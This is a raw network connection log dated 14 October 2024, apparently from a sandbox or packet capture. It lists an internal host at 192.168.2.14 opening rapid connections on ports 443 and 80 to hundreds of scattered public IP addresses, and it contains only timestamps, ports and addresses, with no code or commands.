Oct 14, 2024 17:34:16.881098032 CEST	29631	443	192.168.2.14	79.132.73.100
Oct 14, 2024 17:34:16.881107092 CEST	29631	443	192.168.2.14	212.1.193.137
Oct 14, 2024 17:34:16.881113052 CEST	29631	443	192.168.2.14	123.83.189.5
Oct 14, 2024 17:34:16.881113052 CEST	29631	443	192.168.2.14	202.87.215.200
Oct 14, 2024 17:34:16.881114960 CEST	29631	443	192.168.2.14	148.68.24.72
Oct 14, 2024 17:34:16.881115913 CEST	29631	443	192.168.2.14	79.66.253.220
Oct 14, 2024 17:34:16.881115913 CEST	29631	443	192.168.2.14	212.248.104.221
Oct 14, 2024 17:34:16.881130934 CEST	29631	443	192.168.2.14	118.43.35.76
Oct 14, 2024 17:34:16.881130934 CEST	29631	443	192.168.2.14	79.210.57.144
Oct 14, 2024 17:34:16.881133080 CEST	29631	443	192.168.2.14	109.230.245.79
Oct 14, 2024 17:34:16.881134987 CEST	29631	443	192.168.2.14	202.76.151.241
Oct 14, 2024 17:34:16.881134987 CEST	29631	443	192.168.2.14	202.224.176.95
Oct 14, 2024 17:34:16.881134987 CEST	29631	443	192.168.2.14	210.245.78.182
Oct 14, 2024 17:34:16.881134987 CEST	29631	443	192.168.2.14	5.127.220.80
Oct 14, 2024 17:34:16.881135941 CEST	29631	443	192.168.2.14	42.190.147.116
Oct 14, 2024 17:34:16.881136894 CEST	29631	443	192.168.2.14	37.193.2.110
Oct 14, 2024 17:34:16.881136894 CEST	29631	443	192.168.2.14	5.124.250.105
Oct 14, 2024 17:34:16.881139040 CEST	29631	443	192.168.2.14	2.248.220.132
Oct 14, 2024 17:34:16.881144047 CEST	29631	443	192.168.2.14	210.216.173.168
Oct 14, 2024 17:34:16.881150007 CEST	29631	443	192.168.2.14	202.200.27.146
Oct 14, 2024 17:34:16.881150007 CEST	29631	443	192.168.2.14	148.108.233.65
Oct 14, 2024 17:34:16.881151915 CEST	29631	443	192.168.2.14	42.52.58.184
Oct 14, 2024 17:34:16.881155014 CEST	29631	443	192.168.2.14	210.116.117.17
Oct 14, 2024 17:34:16.881155968 CEST	29631	443	192.168.2.14	202.101.59.43
Oct 14, 2024 17:34:16.881155968 CEST	29631	443	192.168.2.14	118.67.174.91
Oct 14, 2024 17:34:16.881160021 CEST	29631	443	192.168.2.14	117.197.164.139
Oct 14, 2024 17:34:16.881161928 CEST	29631	443	192.168.2.14	42.125.80.171
Oct 14, 2024 17:34:16.881165028 CEST	29631	443	192.168.2.14	5.57.124.163
Oct 14, 2024 17:34:16.881167889 CEST	29631	443	192.168.2.14	210.106.178.62
Oct 14, 2024 17:34:16.881167889 CEST	29631	443	192.168.2.14	2.214.91.229
Oct 14, 2024 17:34:16.881167889 CEST	29631	443	192.168.2.14	5.222.77.75
Oct 14, 2024 17:34:16.881170988 CEST	29631	443	192.168.2.14	79.131.122.234
Oct 14, 2024 17:34:16.881171942 CEST	29631	443	192.168.2.14	202.84.24.107
Oct 14, 2024 17:34:16.881176949 CEST	29631	443	192.168.2.14	202.7.77.209
Oct 14, 2024 17:34:16.881176949 CEST	29631	443	192.168.2.14	178.189.47.198
Oct 14, 2024 17:34:16.881189108 CEST	29631	443	192.168.2.14	42.153.150.136
Oct 14, 2024 17:34:16.881190062 CEST	29631	443	192.168.2.14	123.138.123.51
Oct 14, 2024 17:34:16.881194115 CEST	29631	443	192.168.2.14	42.155.202.201
Oct 14, 2024 17:34:16.881194115 CEST	29631	443	192.168.2.14	202.162.198.17
Oct 14, 2024 17:34:16.881200075 CEST	29631	443	192.168.2.14	212.113.69.117
Oct 14, 2024 17:34:16.881201029 CEST	29631	443	192.168.2.14	210.8.51.90
Oct 14, 2024 17:34:16.881206036 CEST	29631	443	192.168.2.14	2.151.121.156
Oct 14, 2024 17:34:16.881211042 CEST	29631	443	192.168.2.14	117.196.156.10
Oct 14, 2024 17:34:16.881221056 CEST	29631	443	192.168.2.14	42.63.123.218
Oct 14, 2024 17:34:16.881222010 CEST	29631	443	192.168.2.14	148.37.43.200
Oct 14, 2024 17:34:16.881228924 CEST	29631	443	192.168.2.14	178.183.211.164
Oct 14, 2024 17:34:16.881233931 CEST	29631	443	192.168.2.14	178.159.123.139
Oct 14, 2024 17:34:16.881233931 CEST	29631	443	192.168.2.14	42.160.202.222
Oct 14, 2024 17:34:16.881241083 CEST	29631	443	192.168.2.14	37.208.37.230
Oct 14, 2024 17:34:16.881253958 CEST	29631	443	192.168.2.14	123.63.16.128
Oct 14, 2024 17:34:16.881254911 CEST	29631	443	192.168.2.14	148.232.44.182
Oct 14, 2024 17:34:16.881254911 CEST	29631	443	192.168.2.14	37.18.142.7
Oct 14, 2024 17:34:16.881262064 CEST	29631	443	192.168.2.14	42.52.222.172
Oct 14, 2024 17:34:16.881262064 CEST	29631	443	192.168.2.14	118.92.197.133
Oct 14, 2024 17:34:16.881262064 CEST	29631	443	192.168.2.14	178.142.168.129
Oct 14, 2024 17:34:16.881262064 CEST	29631	443	192.168.2.14	94.61.189.159
Oct 14, 2024 17:34:16.881264925 CEST	29631	443	192.168.2.14	118.225.218.201
Oct 14, 2024 17:34:16.881264925 CEST	29631	443	192.168.2.14	79.134.18.119
Oct 14, 2024 17:34:16.881270885 CEST	29631	443	192.168.2.14	117.117.247.188
Oct 14, 2024 17:34:16.881270885 CEST	29631	443	192.168.2.14	178.63.63.57
Oct 14, 2024 17:34:16.881272078 CEST	29631	443	192.168.2.14	202.80.26.125
Oct 14, 2024 17:34:16.881275892 CEST	29631	443	192.168.2.14	5.187.2.192
Oct 14, 2024 17:34:16.881275892 CEST	29631	443	192.168.2.14	109.39.2.152
Oct 14, 2024 17:34:16.881278992 CEST	29631	443	192.168.2.14	212.188.106.124
Oct 14, 2024 17:34:16.881284952 CEST	29631	443	192.168.2.14	210.20.11.176
Oct 14, 2024 17:34:16.881289959 CEST	29631	443	192.168.2.14	123.152.124.18
Oct 14, 2024 17:34:16.881294012 CEST	29631	443	192.168.2.14	117.18.241.222
Oct 14, 2024 17:34:16.881306887 CEST	29631	443	192.168.2.14	178.75.142.54
Oct 14, 2024 17:34:16.881309986 CEST	29631	443	192.168.2.14	202.127.69.63
Oct 14, 2024 17:34:16.881309986 CEST	29631	443	192.168.2.14	117.45.195.150
Oct 14, 2024 17:34:16.881309986 CEST	29631	443	192.168.2.14	79.37.34.56
Oct 14, 2024 17:34:16.881314039 CEST	29631	443	192.168.2.14	178.26.143.212
Oct 14, 2024 17:34:16.881314039 CEST	29631	443	192.168.2.14	79.104.26.23
Oct 14, 2024 17:34:16.881320953 CEST	29631	443	192.168.2.14	94.123.13.48
Oct 14, 2024 17:34:16.881323099 CEST	29631	443	192.168.2.14	118.40.219.153
Oct 14, 2024 17:34:16.881328106 CEST	29631	443	192.168.2.14	123.40.13.187
Oct 14, 2024 17:34:16.881328106 CEST	29631	443	192.168.2.14	42.18.152.34
Oct 14, 2024 17:34:16.881328106 CEST	29631	443	192.168.2.14	212.45.28.156
Oct 14, 2024 17:34:16.881337881 CEST	29631	443	192.168.2.14	117.56.1.0
Oct 14, 2024 17:34:16.881340981 CEST	29631	443	192.168.2.14	79.9.169.41
Oct 14, 2024 17:34:16.881340981 CEST	29631	443	192.168.2.14	202.80.244.215
Oct 14, 2024 17:34:16.881341934 CEST	29631	443	192.168.2.14	79.187.91.188
Oct 14, 2024 17:34:16.881344080 CEST	29631	443	192.168.2.14	118.220.158.88
Oct 14, 2024 17:34:16.881364107 CEST	29631	443	192.168.2.14	210.39.43.153
Oct 14, 2024 17:34:16.881364107 CEST	29631	443	192.168.2.14	210.228.122.214
Oct 14, 2024 17:34:16.881366014 CEST	29631	443	192.168.2.14	37.180.160.253
Oct 14, 2024 17:34:16.881366014 CEST	29631	443	192.168.2.14	37.222.220.172
Oct 14, 2024 17:34:16.881370068 CEST	29631	443	192.168.2.14	212.205.74.198
Oct 14, 2024 17:34:16.881370068 CEST	29631	443	192.168.2.14	94.242.23.61
Oct 14, 2024 17:34:16.881375074 CEST	29631	443	192.168.2.14	210.218.48.67
Oct 14, 2024 17:34:16.881376028 CEST	29631	443	192.168.2.14	37.63.73.24
Oct 14, 2024 17:34:16.881380081 CEST	29631	443	192.168.2.14	5.223.179.97
Oct 14, 2024 17:34:16.881381035 CEST	29631	443	192.168.2.14	118.209.144.235
Oct 14, 2024 17:34:16.881390095 CEST	29631	443	192.168.2.14	178.226.198.184
Oct 14, 2024 17:34:16.881390095 CEST	29631	443	192.168.2.14	178.130.219.205
Oct 14, 2024 17:34:16.881402016 CEST	29631	443	192.168.2.14	118.105.97.242
Oct 14, 2024 17:34:16.881402016 CEST	29631	443	192.168.2.14	210.124.23.149
Oct 14, 2024 17:34:16.881402016 CEST	29631	443	192.168.2.14	117.217.225.124
Oct 14, 2024 17:34:16.881406069 CEST	29631	443	192.168.2.14	2.114.40.45
Oct 14, 2024 17:34:16.881407976 CEST	29631	443	192.168.2.14	79.37.57.1
Oct 14, 2024 17:34:16.881407976 CEST	29631	443	192.168.2.14	109.12.5.87
Oct 14, 2024 17:34:16.881426096 CEST	29631	443	192.168.2.14	117.207.115.15
Oct 14, 2024 17:34:16.881428957 CEST	29631	443	192.168.2.14	42.83.20.84
Oct 14, 2024 17:34:16.881432056 CEST	29631	443	192.168.2.14	118.86.14.163
Oct 14, 2024 17:34:16.881433964 CEST	29631	443	192.168.2.14	94.92.69.25
Oct 14, 2024 17:34:16.881436110 CEST	29631	443	192.168.2.14	178.34.59.99
Oct 14, 2024 17:34:16.881441116 CEST	29631	443	192.168.2.14	94.206.244.166
Oct 14, 2024 17:34:16.881452084 CEST	29631	443	192.168.2.14	202.62.241.215
Oct 14, 2024 17:34:16.881452084 CEST	29631	443	192.168.2.14	42.195.8.226
Oct 14, 2024 17:34:16.881452084 CEST	29631	443	192.168.2.14	2.213.30.72
Oct 14, 2024 17:34:16.881452084 CEST	29631	443	192.168.2.14	5.222.90.56
Oct 14, 2024 17:34:16.881452084 CEST	29631	443	192.168.2.14	118.31.161.57
Oct 14, 2024 17:34:16.881465912 CEST	29631	443	192.168.2.14	117.219.122.138
Oct 14, 2024 17:34:16.881468058 CEST	29631	443	192.168.2.14	109.226.88.127
Oct 14, 2024 17:34:16.881468058 CEST	29631	443	192.168.2.14	210.70.13.139
Oct 14, 2024 17:34:16.881468058 CEST	29631	443	192.168.2.14	2.18.68.125
Oct 14, 2024 17:34:16.881468058 CEST	29631	443	192.168.2.14	118.119.29.219
Oct 14, 2024 17:34:16.881477118 CEST	29631	443	192.168.2.14	109.247.245.203
Oct 14, 2024 17:34:16.881479025 CEST	29631	443	192.168.2.14	2.251.251.188
Oct 14, 2024 17:34:16.881481886 CEST	29631	443	192.168.2.14	210.50.17.90
Oct 14, 2024 17:34:16.881489992 CEST	29631	443	192.168.2.14	109.95.208.250
Oct 14, 2024 17:34:16.881490946 CEST	29631	443	192.168.2.14	148.2.153.192
Oct 14, 2024 17:34:16.881494999 CEST	29631	443	192.168.2.14	210.138.249.228
Oct 14, 2024 17:34:16.881505013 CEST	29631	443	192.168.2.14	37.182.225.217
Oct 14, 2024 17:34:16.881505013 CEST	29631	443	192.168.2.14	42.190.72.138
Oct 14, 2024 17:34:16.881516933 CEST	29631	443	192.168.2.14	94.24.233.149
Oct 14, 2024 17:34:16.881532907 CEST	29631	443	192.168.2.14	5.255.5.149
Oct 14, 2024 17:34:16.881532907 CEST	29631	443	192.168.2.14	178.65.222.34
Oct 14, 2024 17:34:16.881536961 CEST	29631	443	192.168.2.14	202.93.116.95
Oct 14, 2024 17:34:16.881536961 CEST	29631	443	192.168.2.14	79.39.241.91
Oct 14, 2024 17:34:16.881537914 CEST	29631	443	192.168.2.14	212.12.118.185
Oct 14, 2024 17:34:16.881537914 CEST	29631	443	192.168.2.14	117.5.1.12
Oct 14, 2024 17:34:16.881540060 CEST	29631	443	192.168.2.14	178.30.176.217
Oct 14, 2024 17:34:16.881545067 CEST	29631	443	192.168.2.14	178.148.22.195
Oct 14, 2024 17:34:16.881546974 CEST	29631	443	192.168.2.14	37.8.45.24
Oct 14, 2024 17:34:16.881555080 CEST	29631	443	192.168.2.14	79.57.35.242
Oct 14, 2024 17:34:16.881561041 CEST	29631	443	192.168.2.14	178.1.202.39
Oct 14, 2024 17:34:16.881563902 CEST	29631	443	192.168.2.14	118.184.82.27
Oct 14, 2024 17:34:16.881565094 CEST	29631	443	192.168.2.14	148.170.45.76
Oct 14, 2024 17:34:16.881565094 CEST	29631	443	192.168.2.14	212.214.220.69
Oct 14, 2024 17:34:16.881565094 CEST	29631	443	192.168.2.14	148.226.206.202
Oct 14, 2024 17:34:16.881567955 CEST	29631	443	192.168.2.14	79.228.79.198
Oct 14, 2024 17:34:16.881578922 CEST	29631	443	192.168.2.14	212.39.136.168
Oct 14, 2024 17:34:16.881582022 CEST	29631	443	192.168.2.14	42.31.7.223
Oct 14, 2024 17:34:16.881582022 CEST	29631	443	192.168.2.14	117.42.24.155
Oct 14, 2024 17:34:16.881582022 CEST	29631	443	192.168.2.14	117.152.63.12
Oct 14, 2024 17:34:16.881582022 CEST	29631	443	192.168.2.14	178.1.73.96
Oct 14, 2024 17:34:16.881582022 CEST	29631	443	192.168.2.14	5.146.131.234
Oct 14, 2024 17:34:16.881583929 CEST	29631	443	192.168.2.14	117.162.234.165
Oct 14, 2024 17:34:16.881587982 CEST	29631	443	192.168.2.14	109.200.62.70
Oct 14, 2024 17:34:16.881587982 CEST	29631	443	192.168.2.14	5.62.169.228
Oct 14, 2024 17:34:16.881594896 CEST	29631	443	192.168.2.14	117.41.207.186
Oct 14, 2024 17:34:16.881594896 CEST	29631	443	192.168.2.14	94.58.224.131
Oct 14, 2024 17:34:16.881604910 CEST	29631	443	192.168.2.14	212.150.201.87
Oct 14, 2024 17:34:16.881604910 CEST	29631	443	192.168.2.14	2.136.246.144
Oct 14, 2024 17:34:16.881608963 CEST	29631	443	192.168.2.14	118.245.255.155
Oct 14, 2024 17:34:16.881623983 CEST	29631	443	192.168.2.14	117.181.38.153
Oct 14, 2024 17:34:16.881628036 CEST	29631	443	192.168.2.14	210.185.237.91
Oct 14, 2024 17:34:17.147428989 CEST	29626	80	192.168.2.14	130.143.3.66
Oct 14, 2024 17:34:17.147428989 CEST	29626	80	192.168.2.14	150.128.177.165
Oct 14, 2024 17:34:17.147430897 CEST	29626	80	192.168.2.14	147.45.136.124
Oct 14, 2024 17:34:17.147439957 CEST	29626	80	192.168.2.14	208.30.70.127
Oct 14, 2024 17:34:17.147459984 CEST	29626	80	192.168.2.14	36.229.215.172
Oct 14, 2024 17:34:17.147464991 CEST	29626	80	192.168.2.14	223.63.237.131
Oct 14, 2024 17:34:17.147475958 CEST	29626	80	192.168.2.14	79.42.6.55
Oct 14, 2024 17:34:17.147475958 CEST	29626	80	192.168.2.14	134.100.150.105
Oct 14, 2024 17:34:17.147485018 CEST	29626	80	192.168.2.14	180.26.206.254
Oct 14, 2024 17:34:17.147485971 CEST	29626	80	192.168.2.14	146.80.94.46
Oct 14, 2024 17:34:17.147486925 CEST	29626	80	192.168.2.14	129.243.112.179
Oct 14, 2024 17:34:17.147495985 CEST	29626	80	192.168.2.14	125.2.94.112
Oct 14, 2024 17:34:17.147495985 CEST	29626	80	192.168.2.14	191.68.234.83
Oct 14, 2024 17:34:17.147517920 CEST	29626	80	192.168.2.14	208.26.103.154
Oct 14, 2024 17:34:17.147519112 CEST	29626	80	192.168.2.14	134.1.143.104
Oct 14, 2024 17:34:17.147521019 CEST	29626	80	192.168.2.14	123.237.1.222
Oct 14, 2024 17:34:17.147521973 CEST	29626	80	192.168.2.14	72.178.53.232
Oct 14, 2024 17:34:17.147531986 CEST	29626	80	192.168.2.14	164.109.7.193
Oct 14, 2024 17:34:17.147537947 CEST	29626	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:17.147540092 CEST	29626	80	192.168.2.14	161.83.52.227
Oct 14, 2024 17:34:17.147540092 CEST	29626	80	192.168.2.14	194.57.52.250
Oct 14, 2024 17:34:17.147540092 CEST	29626	80	192.168.2.14	62.188.228.117
Oct 14, 2024 17:34:17.147541046 CEST	29626	80	192.168.2.14	210.49.155.136
Oct 14, 2024 17:34:17.147541046 CEST	29626	80	192.168.2.14	132.131.248.19
Oct 14, 2024 17:34:17.147541046 CEST	29626	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:17.147541046 CEST	29626	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:17.147541046 CEST	29626	80	192.168.2.14	129.64.38.156
Oct 14, 2024 17:34:17.147558928 CEST	29626	80	192.168.2.14	191.204.218.207
Oct 14, 2024 17:34:17.147558928 CEST	29626	80	192.168.2.14	65.194.179.53
Oct 14, 2024 17:34:17.147558928 CEST	29626	80	192.168.2.14	70.29.197.248
Oct 14, 2024 17:34:17.147561073 CEST	29626	80	192.168.2.14	208.73.25.221
Oct 14, 2024 17:34:17.147563934 CEST	29626	80	192.168.2.14	48.146.168.173
Oct 14, 2024 17:34:17.147583961 CEST	29626	80	192.168.2.14	178.58.68.235
Oct 14, 2024 17:34:17.147591114 CEST	29626	80	192.168.2.14	36.215.199.244
Oct 14, 2024 17:34:17.147600889 CEST	29626	80	192.168.2.14	155.92.250.220
Oct 14, 2024 17:34:17.147609949 CEST	29626	80	192.168.2.14	84.10.217.116
Oct 14, 2024 17:34:17.147609949 CEST	29626	80	192.168.2.14	122.231.190.186
Oct 14, 2024 17:34:17.147610903 CEST	29626	80	192.168.2.14	151.172.230.68
Oct 14, 2024 17:34:17.147614956 CEST	29626	80	192.168.2.14	50.119.195.75
Oct 14, 2024 17:34:17.147622108 CEST	29626	80	192.168.2.14	195.56.128.45
Oct 14, 2024 17:34:17.147629976 CEST	29626	80	192.168.2.14	38.155.170.61
Oct 14, 2024 17:34:17.147629976 CEST	29626	80	192.168.2.14	110.118.20.53
Oct 14, 2024 17:34:17.147633076 CEST	29626	80	192.168.2.14	134.88.169.49
Oct 14, 2024 17:34:17.147640944 CEST	29626	80	192.168.2.14	134.79.50.93
Oct 14, 2024 17:34:17.147644997 CEST	29626	80	192.168.2.14	36.156.253.150
Oct 14, 2024 17:34:17.147664070 CEST	29626	80	192.168.2.14	167.9.255.245
Oct 14, 2024 17:34:17.147665024 CEST	29626	80	192.168.2.14	107.194.4.55
Oct 14, 2024 17:34:17.147667885 CEST	29626	80	192.168.2.14	203.141.79.183
Oct 14, 2024 17:34:17.147667885 CEST	29626	80	192.168.2.14	107.149.248.227
Oct 14, 2024 17:34:17.147667885 CEST	29626	80	192.168.2.14	124.212.98.99
Oct 14, 2024 17:34:17.147686958 CEST	29626	80	192.168.2.14	82.151.224.183
Oct 14, 2024 17:34:17.147692919 CEST	29626	80	192.168.2.14	157.175.87.52
Oct 14, 2024 17:34:17.147692919 CEST	29626	80	192.168.2.14	149.237.222.146
Oct 14, 2024 17:34:17.147700071 CEST	29626	80	192.168.2.14	43.77.187.60
Oct 14, 2024 17:34:17.147700071 CEST	29626	80	192.168.2.14	169.82.203.185
Oct 14, 2024 17:34:17.147716999 CEST	29626	80	192.168.2.14	94.130.89.230
Oct 14, 2024 17:34:17.147716999 CEST	29626	80	192.168.2.14	113.22.219.125
Oct 14, 2024 17:34:17.147717953 CEST	29626	80	192.168.2.14	212.249.155.124
Oct 14, 2024 17:34:17.147717953 CEST	29626	80	192.168.2.14	76.185.111.60
Oct 14, 2024 17:34:17.147722960 CEST	29626	80	192.168.2.14	65.220.36.150
Oct 14, 2024 17:34:17.147735119 CEST	29626	80	192.168.2.14	140.209.123.133
Oct 14, 2024 17:34:17.147739887 CEST	29626	80	192.168.2.14	183.18.206.231
Oct 14, 2024 17:34:17.147753000 CEST	29626	80	192.168.2.14	115.213.187.202
Oct 14, 2024 17:34:17.147753954 CEST	29626	80	192.168.2.14	133.168.55.228
Oct 14, 2024 17:34:17.147759914 CEST	29626	80	192.168.2.14	86.241.112.76
Oct 14, 2024 17:34:17.147759914 CEST	29626	80	192.168.2.14	83.96.94.45
Oct 14, 2024 17:34:17.147759914 CEST	29626	80	192.168.2.14	164.154.145.47
Oct 14, 2024 17:34:17.147759914 CEST	29626	80	192.168.2.14	62.221.241.107
Oct 14, 2024 17:34:17.147763014 CEST	29626	80	192.168.2.14	205.44.19.136
Oct 14, 2024 17:34:17.147789001 CEST	29626	80	192.168.2.14	50.11.233.110
Oct 14, 2024 17:34:17.147789955 CEST	29626	80	192.168.2.14	35.137.51.254
Oct 14, 2024 17:34:17.147809029 CEST	29626	80	192.168.2.14	37.164.8.94
Oct 14, 2024 17:34:17.147809029 CEST	29626	80	192.168.2.14	176.58.251.250
Oct 14, 2024 17:34:17.147809029 CEST	29626	80	192.168.2.14	139.206.203.174
Oct 14, 2024 17:34:17.147810936 CEST	29626	80	192.168.2.14	106.13.69.85
Oct 14, 2024 17:34:17.147821903 CEST	29626	80	192.168.2.14	45.74.108.8
Oct 14, 2024 17:34:17.147830009 CEST	29626	80	192.168.2.14	52.21.248.71
Oct 14, 2024 17:34:17.147830009 CEST	29626	80	192.168.2.14	183.8.142.206
Oct 14, 2024 17:34:17.147855043 CEST	29626	80	192.168.2.14	96.25.126.154
Oct 14, 2024 17:34:17.147859097 CEST	29626	80	192.168.2.14	148.56.78.181
Oct 14, 2024 17:34:17.147860050 CEST	29626	80	192.168.2.14	109.28.104.169
Oct 14, 2024 17:34:17.147866964 CEST	29626	80	192.168.2.14	35.61.65.250
Oct 14, 2024 17:34:17.147869110 CEST	29626	80	192.168.2.14	71.68.208.223
Oct 14, 2024 17:34:17.147870064 CEST	29626	80	192.168.2.14	137.144.152.40
Oct 14, 2024 17:34:17.147870064 CEST	29626	80	192.168.2.14	105.202.44.202
Oct 14, 2024 17:34:17.147872925 CEST	29626	80	192.168.2.14	78.146.80.136
Oct 14, 2024 17:34:17.147874117 CEST	29626	80	192.168.2.14	173.200.158.171
Oct 14, 2024 17:34:17.147883892 CEST	29626	80	192.168.2.14	102.249.62.40
Oct 14, 2024 17:34:17.147886038 CEST	29626	80	192.168.2.14	54.149.47.85
Oct 14, 2024 17:34:17.147903919 CEST	29626	80	192.168.2.14	38.96.196.110
Oct 14, 2024 17:34:17.147912025 CEST	29626	80	192.168.2.14	148.80.37.84
Oct 14, 2024 17:34:17.147912025 CEST	29626	80	192.168.2.14	20.248.129.0
Oct 14, 2024 17:34:17.147912979 CEST	29626	80	192.168.2.14	51.29.136.211
Oct 14, 2024 17:34:17.147917986 CEST	29626	80	192.168.2.14	183.72.124.102
Oct 14, 2024 17:34:17.147926092 CEST	29626	80	192.168.2.14	71.208.166.172
Oct 14, 2024 17:34:17.147928953 CEST	29626	80	192.168.2.14	186.115.142.250
Oct 14, 2024 17:34:17.147932053 CEST	29626	80	192.168.2.14	76.31.219.40
Oct 14, 2024 17:34:17.147948027 CEST	29626	80	192.168.2.14	2.127.65.84
Oct 14, 2024 17:34:17.147953033 CEST	29626	80	192.168.2.14	183.210.220.28
Oct 14, 2024 17:34:17.147958994 CEST	29626	80	192.168.2.14	81.254.111.118
Oct 14, 2024 17:34:17.147969007 CEST	29626	80	192.168.2.14	180.142.31.22
Oct 14, 2024 17:34:17.147989035 CEST	29626	80	192.168.2.14	175.162.166.221
Oct 14, 2024 17:34:17.147989035 CEST	29626	80	192.168.2.14	121.112.254.37
Oct 14, 2024 17:34:17.147990942 CEST	29626	80	192.168.2.14	163.2.10.184
Oct 14, 2024 17:34:17.147990942 CEST	29626	80	192.168.2.14	177.81.133.205
Oct 14, 2024 17:34:17.148003101 CEST	29626	80	192.168.2.14	63.32.81.117
Oct 14, 2024 17:34:17.148006916 CEST	29626	80	192.168.2.14	175.204.34.28
Oct 14, 2024 17:34:17.148006916 CEST	29626	80	192.168.2.14	46.153.191.70
Oct 14, 2024 17:34:17.148015976 CEST	29626	80	192.168.2.14	51.152.29.207
Oct 14, 2024 17:34:17.148024082 CEST	29626	80	192.168.2.14	212.132.77.87
Oct 14, 2024 17:34:17.148024082 CEST	29626	80	192.168.2.14	177.226.96.127
Oct 14, 2024 17:34:17.148024082 CEST	29626	80	192.168.2.14	212.97.28.17
Oct 14, 2024 17:34:17.148024082 CEST	29626	80	192.168.2.14	144.16.54.2
Oct 14, 2024 17:34:17.148030996 CEST	29626	80	192.168.2.14	192.158.138.187
Oct 14, 2024 17:34:17.148040056 CEST	29626	80	192.168.2.14	190.36.104.102
Oct 14, 2024 17:34:17.148042917 CEST	29626	80	192.168.2.14	146.88.208.223
Oct 14, 2024 17:34:17.148046970 CEST	29626	80	192.168.2.14	5.33.102.171
Oct 14, 2024 17:34:17.148051977 CEST	29626	80	192.168.2.14	20.19.176.6
Oct 14, 2024 17:34:17.148058891 CEST	29626	80	192.168.2.14	111.239.118.184
Oct 14, 2024 17:34:17.148066044 CEST	29626	80	192.168.2.14	174.211.248.215
Oct 14, 2024 17:34:17.148067951 CEST	29626	80	192.168.2.14	111.40.166.74
Oct 14, 2024 17:34:17.148067951 CEST	29626	80	192.168.2.14	95.221.248.38
Oct 14, 2024 17:34:17.148075104 CEST	29626	80	192.168.2.14	106.67.113.115
Oct 14, 2024 17:34:17.148088932 CEST	29626	80	192.168.2.14	61.1.89.158
Oct 14, 2024 17:34:17.148088932 CEST	29626	80	192.168.2.14	9.31.159.177
Oct 14, 2024 17:34:17.148088932 CEST	29626	80	192.168.2.14	119.55.62.92
Oct 14, 2024 17:34:17.148088932 CEST	29626	80	192.168.2.14	158.176.163.58
Oct 14, 2024 17:34:17.148092031 CEST	29626	80	192.168.2.14	27.178.92.89
Oct 14, 2024 17:34:17.148102045 CEST	29626	80	192.168.2.14	185.124.145.2
Oct 14, 2024 17:34:17.148102999 CEST	29626	80	192.168.2.14	140.213.152.203
Oct 14, 2024 17:34:17.148108959 CEST	29626	80	192.168.2.14	64.112.116.106
Oct 14, 2024 17:34:17.148128986 CEST	29626	80	192.168.2.14	20.222.14.166
Oct 14, 2024 17:34:17.148134947 CEST	29626	80	192.168.2.14	58.50.248.245
Oct 14, 2024 17:34:17.148135900 CEST	29626	80	192.168.2.14	93.234.79.126
Oct 14, 2024 17:34:17.148135900 CEST	29626	80	192.168.2.14	150.38.208.41
Oct 14, 2024 17:34:17.148139954 CEST	29626	80	192.168.2.14	212.215.18.81
Oct 14, 2024 17:34:17.148139954 CEST	29626	80	192.168.2.14	147.186.172.149
Oct 14, 2024 17:34:17.148139954 CEST	29626	80	192.168.2.14	192.8.86.181
Oct 14, 2024 17:34:17.148154020 CEST	29626	80	192.168.2.14	98.119.211.208
Oct 14, 2024 17:34:17.148154020 CEST	29626	80	192.168.2.14	105.126.117.132
Oct 14, 2024 17:34:17.148154974 CEST	29626	80	192.168.2.14	187.34.197.102
Oct 14, 2024 17:34:17.148158073 CEST	29626	80	192.168.2.14	205.66.64.49
Oct 14, 2024 17:34:17.148164988 CEST	29626	80	192.168.2.14	100.144.14.132
Oct 14, 2024 17:34:17.148170948 CEST	29626	80	192.168.2.14	110.190.190.12
Oct 14, 2024 17:34:17.148180008 CEST	29626	80	192.168.2.14	73.164.171.174
Oct 14, 2024 17:34:17.148185968 CEST	29626	80	192.168.2.14	151.113.68.230
Oct 14, 2024 17:34:17.148185968 CEST	29626	80	192.168.2.14	69.209.103.255
Oct 14, 2024 17:34:17.148205042 CEST	29626	80	192.168.2.14	125.153.38.2
Oct 14, 2024 17:34:17.148205042 CEST	29626	80	192.168.2.14	98.77.96.163
Oct 14, 2024 17:34:17.148209095 CEST	29626	80	192.168.2.14	90.137.235.175
Oct 14, 2024 17:34:17.148224115 CEST	29626	80	192.168.2.14	114.172.177.135
Oct 14, 2024 17:34:17.148224115 CEST	29626	80	192.168.2.14	77.118.95.109
Oct 14, 2024 17:34:17.148224115 CEST	29626	80	192.168.2.14	63.48.149.116
Oct 14, 2024 17:34:17.148231983 CEST	29626	80	192.168.2.14	141.164.251.227
Oct 14, 2024 17:34:17.148237944 CEST	29626	80	192.168.2.14	140.42.177.170
Oct 14, 2024 17:34:17.148240089 CEST	29626	80	192.168.2.14	119.4.140.162
Oct 14, 2024 17:34:17.148242950 CEST	29626	80	192.168.2.14	201.180.114.89
Oct 14, 2024 17:34:17.148242950 CEST	29626	80	192.168.2.14	40.212.63.103
Oct 14, 2024 17:34:17.148245096 CEST	29626	80	192.168.2.14	66.194.17.212
Oct 14, 2024 17:34:17.148245096 CEST	29626	80	192.168.2.14	51.118.249.9
Oct 14, 2024 17:34:17.148258924 CEST	29626	80	192.168.2.14	35.137.245.244
Oct 14, 2024 17:34:17.148262024 CEST	29626	80	192.168.2.14	53.165.152.212
Oct 14, 2024 17:34:17.148262024 CEST	29626	80	192.168.2.14	133.195.236.29
Oct 14, 2024 17:34:17.148262024 CEST	29626	80	192.168.2.14	2.140.211.12
Oct 14, 2024 17:34:17.148272038 CEST	29626	80	192.168.2.14	115.118.225.194
Oct 14, 2024 17:34:17.148273945 CEST	29626	80	192.168.2.14	168.82.92.232
Oct 14, 2024 17:34:17.148277998 CEST	29626	80	192.168.2.14	221.221.88.181
Oct 14, 2024 17:34:17.148277998 CEST	29626	80	192.168.2.14	193.206.10.196
Oct 14, 2024 17:34:17.148278952 CEST	29626	80	192.168.2.14	58.144.147.163
Oct 14, 2024 17:34:17.148298979 CEST	29626	80	192.168.2.14	12.242.165.242
Oct 14, 2024 17:34:17.148308992 CEST	29626	80	192.168.2.14	114.91.84.146
Oct 14, 2024 17:34:17.148308992 CEST	29626	80	192.168.2.14	221.48.77.199
Oct 14, 2024 17:34:17.148313046 CEST	29626	80	192.168.2.14	186.233.81.16
Oct 14, 2024 17:34:17.148323059 CEST	29626	80	192.168.2.14	177.40.37.220
Oct 14, 2024 17:34:17.148324013 CEST	29626	80	192.168.2.14	83.118.230.90
